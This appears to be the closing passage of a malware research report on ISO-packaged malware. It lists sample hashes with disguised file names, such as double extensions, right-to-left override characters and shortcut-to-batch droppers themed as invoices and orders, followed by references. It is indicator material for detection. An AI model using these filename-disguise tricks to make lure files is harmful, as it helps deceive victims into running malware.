.\ecafdefdeae047a6493e7bad8401b173c4ebb2e212f778781bf63f189f1f15b1	ecafdefdeae047a6493e7bad8401b173c4ebb2e212f778781bf63f189f1f15b1_1661938886	['.\ecafdefdeae047a6493e7bad8401b173c4ebb2e212f778781bf63f189f1f15b1_1661938886/PO 6999001.exe']
.\ecbfc891302d0ab2beeda8234b11efcc37018ba3d73951a1e5ce7957667ff0b2	ecbfc891302d0ab2beeda8234b11efcc37018ba3d73951a1e5ce7957667ff0b2_1661938886	['.\ecbfc891302d0ab2beeda8234b11efcc37018ba3d73951a1e5ce7957667ff0b2_1661938886/final-fantasy-5-repack-spacex_519227.exe']
.\ed6b0c10b8788598a6b260f458f6d96d78ae8ec322ec0e7cc4f381d7c801248e	ed6b0c10b8788598a6b260f458f6d96d78ae8ec322ec0e7cc4f381d7c801248e_1661938886	['.\ed6b0c10b8788598a6b260f458f6d96d78ae8ec322ec0e7cc4f381d7c801248e_1661938886/CAESAR.exe']
.\edadd5ceed4c0b6f8b177c23c3a5025a07404da5f23e8fbac3008a32c76cb475	edadd5ceed4c0b6f8b177c23c3a5025a07404da5f23e8fbac3008a32c76cb475_1661938886	['.\edadd5ceed4c0b6f8b177c23c3a5025a07404da5f23e8fbac3008a32c76cb475_1661938886/ISOPRIME POWER TRANSFORMER & ELECTRICAL SOLUTIONS PO 356FBG.exe']
.\edae4fe94e823513d9c1db17a25b17543b1a252141733524f40c0db49747bfda	edae4fe94e823513d9c1db17a25b17543b1a252141733524f40c0db49747bfda_1661938886	['.\edae4fe94e823513d9c1db17a25b17543b1a252141733524f40c0db49747bfda_1661938886/Megrendelés 09082022_pdf.exe']
.\ee09b30f1815b5fb79ddc5636bfd483705134cd5c2fe60cc015d67664a20820f	ee09b30f1815b5fb79ddc5636bfd483705134cd5c2fe60cc015d67664a20820f_1661938886	['.\ee09b30f1815b5fb79ddc5636bfd483705134cd5c2fe60cc015d67664a20820f_1661938886/New Order.exe']
.\ee2eca88fd905172d4ae99b609267d608967226edc042eae33e2b0e32eb7d1ef	ee2eca88fd905172d4ae99b609267d608967226edc042eae33e2b0e32eb7d1ef_1661938886	['.\ee2eca88fd905172d4ae99b609267d608967226edc042eae33e2b0e32eb7d1ef_1661938886/報價請求 - viva（2015AS-2208HK）.vbs']
.\ee81765b79c8738358a8c948b2f776797bf2f0393084ae9d53aad666b3afd58e	ee81765b79c8738358a8c948b2f776797bf2f0393084ae9d53aad666b3afd58e_1661938886	['.\ee81765b79c8738358a8c948b2f776797bf2f0393084ae9d53aad666b3afd58e_1661938886/Your DHL Shipment Notification.pdf.exe']
.\ef7156bebc26f16abc0cf9b8a8f18d18daf872cd5e0eabec4cf2a67e7906ad3c	ef7156bebc26f16abc0cf9b8a8f18d18daf872cd5e0eabec4cf2a67e7906ad3c_1661938886	"['.\ef7156bebc26f16abc0cf9b8a8f18d18daf872cd5e0eabec4cf2a67e7906ad3c_1661938886/Statement \u202e\u202e\u202e\u202e\u202e\u202e\u202e\u202e\u202e\u202e\u202e\u202efdp.exe', '.\ef7156bebc26f16abc0cf9b8a8f18d18daf872cd5e0eabec4cf2a67e7906ad3c_1661938886/Statement02 \u202e\u202e\u202e\u202e\u202e\u202e\u202e\u202e\u202e\u202e\u202e\u202e\u202efdp.exe']"
.\f01d39aac99ccb72d2da783605b5d3d398bf70fc9da7e8f4a1dc09f6217f3c7d	f01d39aac99ccb72d2da783605b5d3d398bf70fc9da7e8f4a1dc09f6217f3c7d_1661938886	"['.\f01d39aac99ccb72d2da783605b5d3d398bf70fc9da7e8f4a1dc09f6217f3c7d_1661938886/VPO_SP.8696_Data_rev_2_BL54110,pdf.exe']"
.\f0340fb13b628c9ae61a3c7a3ebb21e50d6b30fd884f1be7befcc03e142c733a	f0340fb13b628c9ae61a3c7a3ebb21e50d6b30fd884f1be7befcc03e142c733a_1661938886	['.\f0340fb13b628c9ae61a3c7a3ebb21e50d6b30fd884f1be7befcc03e142c733a_1661938886/Payment Slip.exe']
.\f03fb6dbad7bb025996eca29a4baeacc2a5d095360005da2e4dad5947e9208ec	f03fb6dbad7bb025996eca29a4baeacc2a5d095360005da2e4dad5947e9208ec_1661938886	"['.\f03fb6dbad7bb025996eca29a4baeacc2a5d095360005da2e4dad5947e9208ec_1661938886/invoice-not-paid-date08-08-22-pdf.lnk', '.\f03fb6dbad7bb025996eca29a4baeacc2a5d095360005da2e4dad5947e9208ec_1661938886/at/but.txt', '.\f03fb6dbad7bb025996eca29a4baeacc2a5d095360005da2e4dad5947e9208ec_1661938886/at/goOtherManyAHis.txt', '.\f03fb6dbad7bb025996eca29a4baeacc2a5d095360005da2e4dad5947e9208ec_1661938886/at/makeComeHaveButOr.bat', '.\f03fb6dbad7bb025996eca29a4baeacc2a5d095360005da2e4dad5947e9208ec_1661938886/at/thanAForFromAnd.js', '.\f03fb6dbad7bb025996eca29a4baeacc2a5d095360005da2e4dad5947e9208ec_1661938886/at/time.gif']"	.\f03fb6dbad7bb025996eca29a4baeacc2a5d095360005da2e4dad5947e9208ec_1661938886/invoice-not-paid-date08-08-22-pdf.lnk	at/makeComeHaveButOr.bat
.\f04bdae9705e43b23533f7e1e94530989217dc0be24dbc3347d4b07097d715e4	f04bdae9705e43b23533f7e1e94530989217dc0be24dbc3347d4b07097d715e4_1661938886	"['.\f04bdae9705e43b23533f7e1e94530989217dc0be24dbc3347d4b07097d715e4_1661938886/METAX INKÖPSORDER HTT287,pdf.exe']"
.\f1544ea7268044e734b02004ce201d4b4a0e39e2a66316a5dd921c3c0213c112	f1544ea7268044e734b02004ce201d4b4a0e39e2a66316a5dd921c3c0213c112_1661938886	['.\f1544ea7268044e734b02004ce201d4b4a0e39e2a66316a5dd921c3c0213c112_1661938886/commercial invoice.exe']
.\f2ad03f0c9122e98a888fd4e7b6bd8c7a7de7b79d550290fc8cdaa2393fe85e4	f2ad03f0c9122e98a888fd4e7b6bd8c7a7de7b79d550290fc8cdaa2393fe85e4_1661938886	['.\f2ad03f0c9122e98a888fd4e7b6bd8c7a7de7b79d550290fc8cdaa2393fe85e4_1661938886/hesaphareketi-01.exe;1']
.\f36287dfa3f5f49902b7c2c72cffaecd1c15f4fe87a7b6cab439660a0e2d9ca2	f36287dfa3f5f49902b7c2c72cffaecd1c15f4fe87a7b6cab439660a0e2d9ca2_1661938886	"['.\f36287dfa3f5f49902b7c2c72cffaecd1c15f4fe87a7b6cab439660a0e2d9ca2_1661938886/documents.lnk', '.\f36287dfa3f5f49902b7c2c72cffaecd1c15f4fe87a7b6cab439660a0e2d9ca2_1661938886/one/firstCome.js', '.\f36287dfa3f5f49902b7c2c72cffaecd1c15f4fe87a7b6cab439660a0e2d9ca2_1661938886/one/himThem.txt', '.\f36287dfa3f5f49902b7c2c72cffaecd1c15f4fe87a7b6cab439660a0e2d9ca2_1661938886/one/willGo.bat']"	.\f36287dfa3f5f49902b7c2c72cffaecd1c15f4fe87a7b6cab439660a0e2d9ca2_1661938886/documents.lnk	one/willGo.bat
.\f4e41ab8a121a596f68c351eaa149ef1915f23a8a5ef2f518dffa8714bf568e2	f4e41ab8a121a596f68c351eaa149ef1915f23a8a5ef2f518dffa8714bf568e2_1661938886	['.\f4e41ab8a121a596f68c351eaa149ef1915f23a8a5ef2f518dffa8714bf568e2_1661938886/DH73893063PDF.vbs']
.\f4ea575857b51ffe7d683a223541fd34b138dc41edc6f10f8ce284e8e07bb9c4	f4ea575857b51ffe7d683a223541fd34b138dc41edc6f10f8ce284e8e07bb9c4_1661938886	['.\f4ea575857b51ffe7d683a223541fd34b138dc41edc6f10f8ce284e8e07bb9c4_1661938886/YouTube_Downloader.exe']
.\f65a76cbf6f09ed3e574d8098b88417f46aa5080c2fa8f21a7d959ce4d8fbfff	f65a76cbf6f09ed3e574d8098b88417f46aa5080c2fa8f21a7d959ce4d8fbfff_1661938886	['.\f65a76cbf6f09ed3e574d8098b88417f46aa5080c2fa8f21a7d959ce4d8fbfff_1661938886/New Inquiry.exe;1']
.\f6ea30a914c47c36a9ee8f501de9b2039a55d5b77f57a36d2709efd576560c92	f6ea30a914c47c36a9ee8f501de9b2039a55d5b77f57a36d2709efd576560c92_1661938886	"['.\f6ea30a914c47c36a9ee8f501de9b2039a55d5b77f57a36d2709efd576560c92_1661938886/documents.lnk', '.\f6ea30a914c47c36a9ee8f501de9b2039a55d5b77f57a36d2709efd576560c92_1661938886/then/by.txt', '.\f6ea30a914c47c36a9ee8f501de9b2039a55d5b77f57a36d2709efd576560c92_1661938886/then/day.gif', '.\f6ea30a914c47c36a9ee8f501de9b2039a55d5b77f57a36d2709efd576560c92_1661938886/then/he.png', '.\f6ea30a914c47c36a9ee8f501de9b2039a55d5b77f57a36d2709efd576560c92_1661938886/then/meVeryFirstAboutThose.js', '.\f6ea30a914c47c36a9ee8f501de9b2039a55d5b77f57a36d2709efd576560c92_1661938886/then/theirThenWhatOrMake.bat', '.\f6ea30a914c47c36a9ee8f501de9b2039a55d5b77f57a36d2709efd576560c92_1661938886/then/theseOfISayOne.txt', '.\f6ea30a914c47c36a9ee8f501de9b2039a55d5b77f57a36d2709efd576560c92_1661938886/then/use.txt']"	.\f6ea30a914c47c36a9ee8f501de9b2039a55d5b77f57a36d2709efd576560c92_1661938886/documents.lnk	then/theirThenWhatOrMake.bat
.\fa52804ceae48efae06dced2e277db23adb100d4cae4c847a2ee4b0ede08e729	fa52804ceae48efae06dced2e277db23adb100d4cae4c847a2ee4b0ede08e729_1661938886	"['.\fa52804ceae48efae06dced2e277db23adb100d4cae4c847a2ee4b0ede08e729_1661938886/Invoice-August-09-2022pdf.lnk', '.\fa52804ceae48efae06dced2e277db23adb100d4cae4c847a2ee4b0ede08e729_1661938886/your/canFirstCanMeSay.bat', '.\fa52804ceae48efae06dced2e277db23adb100d4cae4c847a2ee4b0ede08e729_1661938886/your/give.txt', '.\fa52804ceae48efae06dced2e277db23adb100d4cae4c847a2ee4b0ede08e729_1661938886/your/say.txt', '.\fa52804ceae48efae06dced2e277db23adb100d4cae4c847a2ee4b0ede08e729_1661938886/your/tell.txt', '.\fa52804ceae48efae06dced2e277db23adb100d4cae4c847a2ee4b0ede08e729_1661938886/your/thanNotThatToWill.js', '.\fa52804ceae48efae06dced2e277db23adb100d4cae4c847a2ee4b0ede08e729_1661938886/your/thing.gif', '.\fa52804ceae48efae06dced2e277db23adb100d4cae4c847a2ee4b0ede08e729_1661938886/your/wantByKnowOneWhat.txt']"	.\fa52804ceae48efae06dced2e277db23adb100d4cae4c847a2ee4b0ede08e729_1661938886/Invoice-August-09-2022pdf.lnk	your/canFirstCanMeSay.bat
.\fabc873f3d9dad0d0149c71f291bf8e69f4c536cfcf34adb8909115da7edc0ff	fabc873f3d9dad0d0149c71f291bf8e69f4c536cfcf34adb8909115da7edc0ff_1661938886	['.\fabc873f3d9dad0d0149c71f291bf8e69f4c536cfcf34adb8909115da7edc0ff_1661938886/revised order_pdf.exe']
.\fd3b867616627863fd2b2eb0c11e95891f1c3f75f21cd8044e55e2aeef6f28e5	fd3b867616627863fd2b2eb0c11e95891f1c3f75f21cd8044e55e2aeef6f28e5_1661938886	['.\fd3b867616627863fd2b2eb0c11e95891f1c3f75f21cd8044e55e2aeef6f28e5_1661938886/RQ 8129.exe']
.\fde72d6ef337876ab9159f2d3c1064908fea028bb028b433020095435566f73c	fde72d6ef337876ab9159f2d3c1064908fea028bb028b433020095435566f73c_1661938886	"['.\fde72d6ef337876ab9159f2d3c1064908fea028bb028b433020095435566f73c_1661938886/VPO_SP.9686_Flex_rev_2_BL65338453,pdf.exe']"
.\ff1db5b5b82267b468157deaf685c9a350cda21577680f27a530615158b3be9a	ff1db5b5b82267b468157deaf685c9a350cda21577680f27a530615158b3be9a_1661938886	"['.\ff1db5b5b82267b468157deaf685c9a350cda21577680f27a530615158b3be9a_1661938886/ORDEN DE COMPRA DE A.W. Chesterton,pdf.exe']"
.\ffa44e4830533e4eee7ce428c9ca67a4bf6777a970356d91fde161822ed6e218	ffa44e4830533e4eee7ce428c9ca67a4bf6777a970356d91fde161822ed6e218_1661938886	"['.\ffa44e4830533e4eee7ce428c9ca67a4bf6777a970356d91fde161822ed6e218_1661938886/documents.lnk', '.\ffa44e4830533e4eee7ce428c9ca67a4bf6777a970356d91fde161822ed6e218_1661938886/then/by.txt', '.\ffa44e4830533e4eee7ce428c9ca67a4bf6777a970356d91fde161822ed6e218_1661938886/then/day.gif', '.\ffa44e4830533e4eee7ce428c9ca67a4bf6777a970356d91fde161822ed6e218_1661938886/then/he.png', '.\ffa44e4830533e4eee7ce428c9ca67a4bf6777a970356d91fde161822ed6e218_1661938886/then/himTellYouSoAt.js', '.\ffa44e4830533e4eee7ce428c9ca67a4bf6777a970356d91fde161822ed6e218_1661938886/then/inUseIntoOtherWho.txt', '.\ffa44e4830533e4eee7ce428c9ca67a4bf6777a970356d91fde161822ed6e218_1661938886/then/toLikeTheirThemBecause.bat', '.\ffa44e4830533e4eee7ce428c9ca67a4bf6777a970356d91fde161822ed6e218_1661938886/then/use.txt']"	.\ffa44e4830533e4eee7ce428c9ca67a4bf6777a970356d91fde161822ed6e218_1661938886/documents.lnk	then/toLikeTheirThemBecause.bat
.\fff2feff5e09295925e2c20a94261320efe9d735e97dc910060fc17c1de283e3	fff2feff5e09295925e2c20a94261320efe9d735e97dc910060fc17c1de283e3_1661938886	['.\fff2feff5e09295925e2c20a94261320efe9d735e97dc910060fc17c1de283e3_1661938886/Oferta XL-PO#5847_pdf.exe']

Rerefences

• https://docs.microsoft.com/en-us/deployoffice/security/internet-macros-blocked
• https://techcommunity.microsoft.com/t5/excel-blog/excel-4-0-xlm-macros-now-restricted-by-default-for-customer/ba-p/3057905
• https://www.sentinelone.com/labs/who-needs-macros-threat-actors-pivot-to-abusing-explorer-and-other-lolbins-via-windows-shortcuts/
• https://en.wikipedia.org/wiki/Optical_disc_image
• https://en.wikipedia.org/wiki/ISO_9660
• https://www.extremetech.com/computing/94370-windows-8-explorer-will-support-native-mounting-of-iso-and-vhd
• https://attack.mitre.org/techniques/T1036/007/